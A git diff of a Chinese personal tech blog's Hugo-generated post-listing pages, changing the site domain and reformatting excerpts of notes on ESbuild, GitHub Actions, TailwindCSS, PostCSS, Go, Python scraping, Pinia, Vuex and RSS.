-使用source map功能...</p></div><footer class=entry-footer><span title='2022-02-07 13:37:00 +0000 UTC'>2022-02-07</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 简单使用ESbuild打包工具" href=https://xiaochenabc123.github.io/posts/132/></a></article><article class=post-entry><header class=entry-header><h2>简单使用GitHub Actions来实现CI/CD</h2></header><div class=entry-content><p>CI：持续集成 (Continuous Integration) CD：持续交付 (Continuous Delivery) CD：持续部署 (Continuous Deployment)
+import React from 'react' import ReactDOM from 'react-dom' const App = () => { return ( &lt;div> &lt;h1>Hallo, Esbuild!&lt;/h1> &lt;/div> ) } ReactDOM.render( &lt;App />, document.getElementById("app") ) index.html
+&lt;div id="app">&lt;/div> &lt;script src="./build/index.js">&lt;/script> 我本地打包只花64ms就打包好了
+使用source map功能...</p></div><footer class=entry-footer><span title='2022-02-07 13:37:00 +0000 UTC'>2022-02-07</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 简单使用ESbuild打包工具" href=https://chenjunlinabc.github.io/posts/132/></a></article><article class=post-entry><header class=entry-header><h2>简单使用GitHub Actions来实现CI/CD</h2></header><div class=entry-content><p>CI：持续集成 (Continuous Integration) CD：持续交付 (Continuous Delivery) CD：持续部署 (Continuous Deployment)
 GitHub Actions是GitHub提供的持续集成服务
 GitHub Actions官方文档：https://docs.github.com/en/actions
 workflow：工作流程，指一次持续集成的流程，由一个job或者多个job组成 Events：事件，触发流程的钩子（在github中事件为检测仓库特定活动的钩子，例如pull，当事件被触发则自动执行工作流程） Job：任务，任务是工作流程的主体 Steps：步骤，每个Job可以包含一个或多个Step Actions: 行为，每个Step包含一个或多个Action Runners: 执行环境，工作流程运行时的服务端，每一个执行环境可以运行一个任务
@@ -43,36 +28,19 @@
 jobs：每一项任务都需要定义个job_id，job中的name为该任务的描述，needs为指定当前任务的运行顺序（依赖关系），runs-on为指定运行时需要的虚拟机环境（这个字段必须填）
 目前github支持的虚拟机操作系统有ubuntu，windows，macOS，而且github提供的虚拟机是免费使用的
 这里举个例子（github官方的）
-name: GitHub Actions Demo
-on: [push]
-jobs:
-Explore-GitHub-Actions:
-runs-on: ubuntu-latest
-steps:
-- run: echo " The job was automatically triggered by a ${{ github.event_name }} event."
-- run: echo " This job is now running on a ${{ runner.os }} server hosted by GitHub!...</p></div><footer class=entry-footer><span title='2022-02-01 18:00:00 +0000 UTC'>2022-02-01</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 简单使用GitHub Actions来实现CI/CD" href=https://xiaochenabc123.github.io/posts/131/></a></article><article class=post-entry><header class=entry-header><h2>简单使用TailwindCSS</h2></header><div class=entry-content><p>TailwindCSS是一个CSS框架，我个人理解这东西就是根据class来生成css（按需），而不是像bootstrap那样，TailwindCSS是原子化的
+name: GitHub Actions Demo on: [push] jobs: Explore-GitHub-Actions: runs-on: ubuntu-latest steps: - run: echo " The job was automatically triggered by a ${{ github.event_name }} event." - run: echo " This job is now running on a ${{ runner.os }} server hosted by GitHub!...</p></div><footer class=entry-footer><span title='2022-02-01 18:00:00 +0000 UTC'>2022-02-01</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 简单使用GitHub Actions来实现CI/CD" href=https://chenjunlinabc.github.io/posts/131/></a></article><article class=post-entry><header class=entry-header><h2>简单使用TailwindCSS</h2></header><div class=entry-content><p>TailwindCSS是一个CSS框架，我个人理解这东西就是根据class来生成css（按需），而不是像bootstrap那样，TailwindCSS是原子化的
 安装
 npm install tailwindcss
 初始化tailwind.config.js
 npx tailwindcss init
 在tailwind.config.js中content属性，表示着项目的html或者js文件
-content: [
-'./src/**/*.{html,js}'
-],
-如果没有配置content属性，会警告
+content: [ './src/**/*.{html,js}' ], 如果没有配置content属性，会警告
 warn - The content option in your Tailwind CSS configuration is missing or empty. warn - Configure your content sources or your generated CSS will be missing styles. warn - https://tailwindcss.com/docs/content-configuration
 创建一个css文件配置tailwind三大组件（base，components.utilities）
-@tailwind base;
-@tailwind components;
-@tailwind utilities;
-如果使用的是webpacker或者postcss-import，不能使用@tailwind指令，需要
-@import "tailwindcss/base";
-@import "tailwindcss/components";
-@import "tailwindcss/utilities";
-也可以将css导入到js中
-import "tailwindcss/tailwind.css"
-tailwind编译
-npx tailwindcss -i ./src/index.css -o ./dist/main.css...</p></div><footer class=entry-footer><span title='2022-01-27 12:00:00 +0000 UTC'>2022-01-27</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 简单使用TailwindCSS" href=https://xiaochenabc123.github.io/posts/130/></a></article><article class=post-entry><header class=entry-header><h2>PostCSS学习笔记</h2></header><div class=entry-content><p>PostCSS是一个用JS插件转换为css的插件工具（注意：PostCSS不是css预处理器，PostCSS本身是个平台，可以通过一些插件达到css预处理器的效果）
+@tailwind base; @tailwind components; @tailwind utilities; 如果使用的是webpacker或者postcss-import，不能使用@tailwind指令，需要
+@import "tailwindcss/base"; @import "tailwindcss/components"; @import "tailwindcss/utilities"; 也可以将css导入到js中
+import "tailwindcss/tailwind.css" tailwind编译
+npx tailwindcss -i ./src/index.css -o ./dist/main.css...</p></div><footer class=entry-footer><span title='2022-01-27 12:00:00 +0000 UTC'>2022-01-27</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 简单使用TailwindCSS" href=https://chenjunlinabc.github.io/posts/130/></a></article><article class=post-entry><header class=entry-header><h2>PostCSS学习笔记</h2></header><div class=entry-content><p>PostCSS是一个用JS插件转换为css的插件工具（注意：PostCSS不是css预处理器，PostCSS本身是个平台，可以通过一些插件达到css预处理器的效果）
 PostCSS is a tool for transforming CSS with JS plugins. These plugins can support variables and mixins, transpile future CSS syntax, inline images, and more.
 插件查询：https://www.postcss.parts/
 常用插件：https://github.com/postcss/postcss/blob/main/docs/plugins.md
@@ -82,22 +50,9 @@
 npm install postcss postcss-loader –save-dev
 PostCSS不单独使用，可搭配Gulp或者webpack使用（这里使用的是webpack）
 webpack.config.js
-module.exports = {
-module: {
-rules: [
-{
-test: /\.css$/,
-use: ["style-loader", "css-loader", "postcss-loader"]
-}
-]
-}
-};
-postcss.config.js
-module.exports = {
-plugins: [插件1,插件2]
-};
-Autoprefixer（自动添加浏览器前缀）
-npm install autoprefixer –save-dev...</p></div><footer class=entry-footer><span title='2022-01-23 13:55:00 +0000 UTC'>2022-01-23</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to PostCSS学习笔记" href=https://xiaochenabc123.github.io/posts/129/></a></article><article class=post-entry><header class=entry-header><h2>Golang进阶扩展笔记</h2></header><div class=entry-content><p>这篇笔记是进阶学习，如果基础没有看的的话，请去看https://xiaochenabc123.test.com/archives/96.html
+module.exports = { module: { rules: [ { test: /\.css$/, use: ["style-loader", "css-loader", "postcss-loader"] } ] } }; postcss.config.js
+module.exports = { plugins: [插件1,插件2] }; Autoprefixer（自动添加浏览器前缀）
+npm install autoprefixer –save-dev...</p></div><footer class=entry-footer><span title='2022-01-23 13:55:00 +0000 UTC'>2022-01-23</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to PostCSS学习笔记" href=https://chenjunlinabc.github.io/posts/129/></a></article><article class=post-entry><header class=entry-header><h2>Golang进阶扩展笔记</h2></header><div class=entry-content><p>这篇笔记是进阶学习，如果基础没有看的的话，请去看https://xiaochenabc123.test.com/archives/96.html
 并发
 go的并发靠goroutine，goroutine由go运行时调度，线程由操作系统调度，go还提供channel来给多个goroutine之间通行，goroutine和channel是go并发模式CSP（Communicating Sequential Process，通讯顺序进程）的实现基础，goroutine的调度在用户态下完成，不涉及内核态（比如内存的分配和释放，都是用户态维护的内存池，成本远比调度OS线程要低的多，可轻松做到成千上万个goroutine）
 内核态：程序执行操作系统层级的程序时
@@ -134,8 +89,8 @@
 载入（读取，避免读取过程，其他协程进行修改操作）：func LoadInt64(addr *int64) (val int64)
 存储（写入，避免写入过程，其他协程进行读取操作）：func StoreInt64(addr *int64, val int64)
 交换（和CAS不同，交换只赋值old值，不管原来的值）：func SwapInt64(addr *int64, new int64) (old int64)
-比较并且交换（Compare And Swap 简称CAS，类似于乐观锁，只有原来的值和传入的old值一样才修改）：func CompareAndSwapInt64(addr *int64, old, new int64) (swapped bool)...</p></div><footer class=entry-footer><span title='2022-01-16 09:08:00 +0000 UTC'>2022-01-16</span>&nbsp;·&nbsp;2 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to Golang进阶扩展笔记" href=https://xiaochenabc123.github.io/posts/128/></a></article><footer class=page-footer><nav class=pagination><a class=prev href=https://xiaochenabc123.github.io/posts/page/5/>«&nbsp;Prev&nbsp;</a>
-<a class=next href=https://xiaochenabc123.github.io/posts/page/7/>Next&nbsp;&nbsp;»</a></nav></footer></main><footer class=footer><span>&copy; 2023 <a href=https://xiaochenabc123.github.io/>小陈的个人博客</a></span>
+比较并且交换（Compare And Swap 简称CAS，类似于乐观锁，只有原来的值和传入的old值一样才修改）：func CompareAndSwapInt64(addr *int64, old, new int64) (swapped bool)...</p></div><footer class=entry-footer><span title='2022-01-16 09:08:00 +0000 UTC'>2022-01-16</span>&nbsp;·&nbsp;2 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to Golang进阶扩展笔记" href=https://chenjunlinabc.github.io/posts/128/></a></article><footer class=page-footer><nav class=pagination><a class=prev href=https://chenjunlinabc.github.io/posts/page/5/>«&nbsp;Prev&nbsp;</a>
+<a class=next href=https://chenjunlinabc.github.io/posts/page/7/>Next&nbsp;&nbsp;»</a></nav></footer></main><footer class=footer><span>&copy; 2023 <a href=https://chenjunlinabc.github.io/>小陈的个人博客</a></span>
 <span>Powered by
 <a href=https://gohugo.io/ rel="noopener noreferrer" target=_blank>Hugo</a> &
         <a href=https://github.com/adityatelange/hugo-PaperMod/ rel=noopener target=_blank>PaperMod</a></span></footer><a href=#top aria-label="go to top" title="Go to Top (Alt + G)" class=top-link id=top-link accesskey=g><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 12 6" fill="currentcolor"><path d="M12 6H0l6-6z"/></svg></a><script>let menu=document.getElementById("menu");menu&&(menu.scrollLeft=localStorage.getItem("menu-scroll-position"),menu.onscroll=function(){localStorage.setItem("menu-scroll-position",menu.scrollLeft)}),document.querySelectorAll('a[href^="#"]').forEach(e=>{e.addEventListener("click",function(e){e.preventDefault();var t=this.getAttribute("href").substr(1);window.matchMedia("(prefers-reduced-motion: reduce)").matches?document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView():document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView({behavior:"smooth"}),t==="top"?history.replaceState(null,null," "):history.pushState(null,null,`#${t}`)})})</script><script>var mybutton=document.getElementById("top-link");window.onscroll=function(){document.body.scrollTop>800||document.documentElement.scrollTop>800?(mybutton.style.visibility="visible",mybutton.style.opacity="1"):(mybutton.style.visibility="hidden",mybutton.style.opacity="0")}</script><script>document.getElementById("theme-toggle").addEventListener("click",()=>{document.body.className.includes("dark")?(document.body.classList.remove("dark"),localStorage.setItem("pref-theme","light")):(document.body.classList.add("dark"),localStorage.setItem("pref-theme","dark"))})</script></body></html>
\ No newline at end of file
diff --git a/posts/page/7/index.html b/posts/page/7/index.html
index 4a5a2453..666afe48 100644
--- a/posts/page/7/index.html
+++ b/posts/page/7/index.html
@@ -1,4 +1,4 @@
-<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>Posts | 小陈的个人博客</title><meta name=keywords content><meta name=description content="Posts - 小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://xiaochenabc123.github.io/posts/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.3613efbd0b1772781e8f49935e973cae632a7f61471c05b17be155505ccf87b5.css integrity="sha256-NhPvvQsXcngej0mTXpc8rmMqf2FHHAWxe+FVUFzPh7U=" rel="preload stylesheet" as=style><link rel=icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://xiaochenabc123.github.io/favicon.ico><link rel=apple-touch-icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=mask-icon href=https://xiaochenabc123.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://xiaochenabc123.github.io/posts/index.xml><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="Posts"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://xiaochenabc123.github.io/posts/"><meta property="og:image" content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="Posts"><meta name=twitter:description content="小陈的个人博客"><script type=application/ld+json>{"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"Posts","item":"https://xiaochenabc123.github.io/posts/"}]}</script></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://xiaochenabc123.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://xiaochenabc123.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://xiaochenabc123.github.io/ title=首页><span>首页</span></a></li><li><a href=https://xiaochenabc123.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://xiaochenabc123.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://xiaochenabc123.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://xiaochenabc123.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://xiaochenabc123.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://xiaochenabc123.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><header class=page-header><div class=breadcrumbs><a href=https://xiaochenabc123.github.io/>Home</a></div><h1>Posts</h1></header><article class=post-entry><header class=entry-header><h2>python爬虫学习笔记</h2></header><div class=entry-content><p>urllib，xpath，jsonpath，beautiful，requests，selenium，Scrapy
+<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>Posts | 小陈的个人博客</title><meta name=keywords content><meta name=description content="Posts - 小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://chenjunlinabc.github.io/posts/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.5cfc680b1eeaeef9efbced92d46c2a9e876b72ee14fba85846afc4cff9e6e6f8.css integrity="sha256-XPxoCx7q7vnvvO2S1Gwqnodrcu4U+6hYRq/Ez/nm5vg=" rel="preload stylesheet" as=style><link rel=icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://chenjunlinabc.github.io/favicon.ico><link rel=apple-touch-icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=mask-icon href=https://chenjunlinabc.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://chenjunlinabc.github.io/posts/index.xml><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="Posts"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://chenjunlinabc.github.io/posts/"><meta property="og:image" content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="Posts"><meta name=twitter:description content="小陈的个人博客"><script type=application/ld+json>{"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"Posts","item":"https://chenjunlinabc.github.io/posts/"}]}</script></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://chenjunlinabc.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://chenjunlinabc.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://chenjunlinabc.github.io/ title=首页><span>首页</span></a></li><li><a href=https://chenjunlinabc.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://chenjunlinabc.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://chenjunlinabc.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://chenjunlinabc.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://chenjunlinabc.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://chenjunlinabc.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><header class=page-header><div class=breadcrumbs><a href=https://chenjunlinabc.github.io/>Home</a></div><h1>Posts</h1></header><article class=post-entry><header class=entry-header><h2>python爬虫学习笔记</h2></header><div class=entry-content><p>urllib，xpath，jsonpath，beautiful，requests，selenium，Scrapy
 python库内置的HTTP请求库 urllib.request 请求模块 urllib.error 异常处理模块 urllib.parse url解析模块 urllib.robotparsef robots.txt解析模块
 urllib.request提供了最基本的http请求方法，主要带有处理授权验证，重定向，浏览器Cookies功能
 模拟浏览器发送get请求，就需要使用request对象，在该对象添加http头 import urllib.requst response = urllib.request.urlopen(‘https://xiaochenabc123.test.com/') print(response.read().decode(‘utf-8’))
@@ -8,11 +8,7 @@
 post发送一个请求，只需要把参数data以bytes类型传入 import urllib.parse import urllib.request data = bytes(urllib.parse.urlencode({‘hallo’:‘python’}),encoding=‘utf-8’) response = urllib.request.urlopen(‘http://httpbin.org/post'.data = data) print(response.read())
 timeout参数用于设置超时时间，单位为秒 import urllib.request response = urllib.request.urlopen(‘https://xiaochenabc123.test.com/',timeout=1)
 这里设置超时时间为1秒，如果超了1秒，服务器依然没有响应就抛出URLError异常，可以结合try和except
-import urllib.parse
-import urllib.request
-url = "https://xiaochenabc123.test.com/"
-headers = {
-'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537....</p></div><footer class=entry-footer><span title='2021-12-31 01:05:00 +0000 UTC'>2021-12-31</span>&nbsp;·&nbsp;7 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to python爬虫学习笔记" href=https://xiaochenabc123.github.io/posts/125/></a></article><article class=post-entry><header class=entry-header><h2>Pinia---vuejs的轻量级状态管理库</h2></header><div class=entry-content><p>Pinia是vuejs的轻量级状态管理库，Pinia支持Vue devtools浏览器扩展工具，可扩展，模块化设计，热模块更新，轻量级，支持TypeScript，支持SSR服务器端渲染，支持vue2，vue3
+import urllib.parse import urllib.request url = "https://xiaochenabc123.test.com/" headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537....</p></div><footer class=entry-footer><span title='2021-12-31 01:05:00 +0000 UTC'>2021-12-31</span>&nbsp;·&nbsp;7 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to python爬虫学习笔记" href=https://chenjunlinabc.github.io/posts/125/></a></article><article class=post-entry><header class=entry-header><h2>Pinia---vuejs的轻量级状态管理库</h2></header><div class=entry-content><p>Pinia是vuejs的轻量级状态管理库，Pinia支持Vue devtools浏览器扩展工具，可扩展，模块化设计，热模块更新，轻量级，支持TypeScript，支持SSR服务器端渲染，支持vue2，vue3
 Pinia作者也是vuex核心之一
 安装pinia
 npm install pinia@next
@@ -20,24 +16,8 @@
 yarn add pinia@next
 导入pinia并且挂载为vue插件(在Vite脚手架下)
 src/main.js
-import { createApp } from 'vue'
-import App from './App.vue'
-const app = createApp(App)
-import { createPinia } from 'pinia'
-app.use(createPinia())
-app.mount('#app')
-src/stores/main.js（pinia通过defineStore函数来创建state，并且接收一个id来标识state）
-import { defineStore } from 'pinia'
-export const useDataStore = defineStore('data', {
-state: () => {
-return { count: 666 }
-},
-//state: () => {
-//name: chen
-//},
-getters:{ // getters计算属性
-doubleCount(state){
-return state....</p></div><footer class=entry-footer><span title='2021-12-26 20:22:00 +0000 UTC'>2021-12-26</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to Pinia---vuejs的轻量级状态管理库" href=https://xiaochenabc123.github.io/posts/124/></a></article><article class=post-entry><header class=entry-header><h2>简单使用vuex状态管理库</h2></header><div class=entry-content><p>vuex是一个专门为vuejs应用程序的设计的状态管理
+import { createApp } from 'vue' import App from './App.vue' const app = createApp(App) import { createPinia } from 'pinia' app.use(createPinia()) app.mount('#app') src/stores/main.js（pinia通过defineStore函数来创建state，并且接收一个id来标识state）
+import { defineStore } from 'pinia' export const useDataStore = defineStore('data', { state: () => { return { count: 666 } }, //state: () => { //name: chen //}, getters:{ // getters计算属性 doubleCount(state){ return state....</p></div><footer class=entry-footer><span title='2021-12-26 20:22:00 +0000 UTC'>2021-12-26</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to Pinia---vuejs的轻量级状态管理库" href=https://chenjunlinabc.github.io/posts/124/></a></article><article class=post-entry><header class=entry-header><h2>简单使用vuex状态管理库</h2></header><div class=entry-content><p>vuex是一个专门为vuejs应用程序的设计的状态管理
 集中式存储管理应用的所有组件的状态
 多组件状态共享，不同的组件改变同一个状态
 vuex知识点：state，getter，mutation，action
@@ -51,44 +31,18 @@
 new Vuex.store()
 将vuex实例挂载在vue对象上
 index.js
-Vue.use(Vuex)
-const store = new Vuex.Store({
-state: {
-count: 0
-}
-})
-export default store
-main.js
-new Vue({
-store // 将store对象添加到vue实例上
-})
-可以通过this.$store.state.count获取到状态（官方推荐将获取装态的操作放到computed中）
+Vue.use(Vuex) const store = new Vuex.Store({ state: { count: 0 } }) export default store main.js
+new Vue({ store // 将store对象添加到vue实例上 }) 可以通过this.$store.state.count获取到状态（官方推荐将获取装态的操作放到computed中）
 使用解构获取状态： import { mapState } from ‘vuex’ export default { mounted() { console.log(this.count) }, computed: { …mapState([‘count’]) } }
 Getter
-getters: {
-getCount(state) {
-return state....</p></div><footer class=entry-footer><span title='2021-12-13 06:19:00 +0000 UTC'>2021-12-13</span>&nbsp;·&nbsp;2 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 简单使用vuex状态管理库" href=https://xiaochenabc123.github.io/posts/123/></a></article><article class=post-entry><header class=entry-header><h2>简单了解RSS</h2></header><div class=entry-content><p>RSS指 Really Simple Syndication（简易信息聚合），RSS定义了方法来获取网站的标题以及内容，而且RSS可以被自动更新，RSS使用了XML进行编写（xml笔记：https://xiaochenabc123.test.com/archives/17.html）
+getters: { getCount(state) { return state....</p></div><footer class=entry-footer><span title='2021-12-13 06:19:00 +0000 UTC'>2021-12-13</span>&nbsp;·&nbsp;2 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 简单使用vuex状态管理库" href=https://chenjunlinabc.github.io/posts/123/></a></article><article class=post-entry><header class=entry-header><h2>简单了解RSS</h2></header><div class=entry-content><p>RSS指 Really Simple Syndication（简易信息聚合），RSS定义了方法来获取网站的标题以及内容，而且RSS可以被自动更新，RSS使用了XML进行编写（xml笔记：https://xiaochenabc123.test.com/archives/17.html）
 一个RSS例子：
-&lt;?xml version="1.0" encoding="UTF-8" ?>
-&lt;rss version="2.0">
-&lt;channel>
-&lt;title>小陈的辣鸡屋&lt;/title>
-&lt;link>https://xiaochenabc123.test.com/&lt;/link>
-&lt;description>xiaochenabc123.test.com&lt;/description>
-&lt;item>
-&lt;title>简单了解设计模式&lt;/title>
-&lt;link>https://xiaochenabc123.test.com/archives/121.html&lt;/link>
-&lt;description>&lt;![CDATA[设计模式实质就是一套可以通用，复用的设计方案，设计模式是针对面向对象的，在面向对象出来之前，程序是面向过程的，设计模式就是软件设计的工具面向过程：逻辑化过程，以逻辑实现面向对象：思考有哪些对象，...]]>&lt;/description>
-&lt;content:encoded xml:lang="zh-CN">xxxxxxx&lt;/content:encoded>
-&lt;/item>
-&lt;/channel>
-&lt;/rss>
-可以看到是RSS频道的标题，是该频道的超链接，是该频道的描述，是定义该频道的某篇文章的，其中又有，分别表示文章标题，文章的超链接，文章的描述，其中还有表示文章的内容
